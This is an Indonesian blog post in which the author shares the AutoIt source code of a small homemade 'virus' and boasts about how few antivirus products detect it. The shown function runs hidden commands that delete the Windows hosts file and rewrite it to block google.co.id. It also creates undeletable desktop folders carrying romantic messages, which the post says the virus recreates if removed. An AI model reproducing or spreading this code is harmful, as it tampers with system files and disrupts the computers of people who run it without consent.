Virus sederhana dari AutoIt

Beberapa tahun yang lalu (sekitar 3 tahun mungkin) saya sempat membuat sebuah virus coba coba, virus ini belum saya publikasikan, saat virus ini saya buat 3 tahun lalu ,virus ini tidak dikenali oleh 50 antivirus terbaik dunia, sekarang ada perkembangan, virus ini sudah dikenali oleh 5 dari 50 antivirus terbaik dunia, di antaranya Kaspersky, dan Microsoft, untuk antivirus lokal saya kurang tahu.

Ketika anda melihat source code virus ini mungkin anda akan segera paham kenapa saya membuat virus ini :D, saya sudah men-sensor nama nama bersangkutan, ok ini dia source codenya, dahulu kala virus ini saya buat untuk Windows XP, jadi kemungkinan jika di jalankan di Win7 virus ini akan lumpuh, sekarang kita bahas source codenya.

Source Code:

Func _MenyampaikanPesan()
 FileDelete('C:\Windows\System32\Drivers\etc\Hosts')
  RunWait(@ComSpec & ' /c ' & 'echo 127.0.0.1 www.google.co.id >> "C:\Windows\System32\Drivers\etc\Hosts"', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.JANGAN HAPUS AKU."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.AKU TETAP MENYAYANGIMU."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.SELAMANYA."', '', @SW_HIDE)
  RunWait(@ComSpec & ' /c ' & 'md "\\?\\' & @DesktopDir & '\.UNTUKMU **SENSOR**."', '', @SW_HIDE)
EndFunc   ;==>_MenyampaikanPesan

Virus ini saya buat untuk menyampaikan pesan, di desktop akan dibuat 4 buah folder dengan nama "JANGAN HAPUS AKU", "AKU TETAP MENYAYANGIMU", "SELAMANYA" dan "UNTUKMU **SENSOR**." sensor itu sebenarnya sebuah inisial nama yang tidak elok kiranya untuk dipublikasikan, dan tentu saja folder yang di maksud tidak akan bisa di hapus, kecuali menggunakan script atau tool tertentu, jikapun folder terhapus, maka si virus akan membuatnya lagi.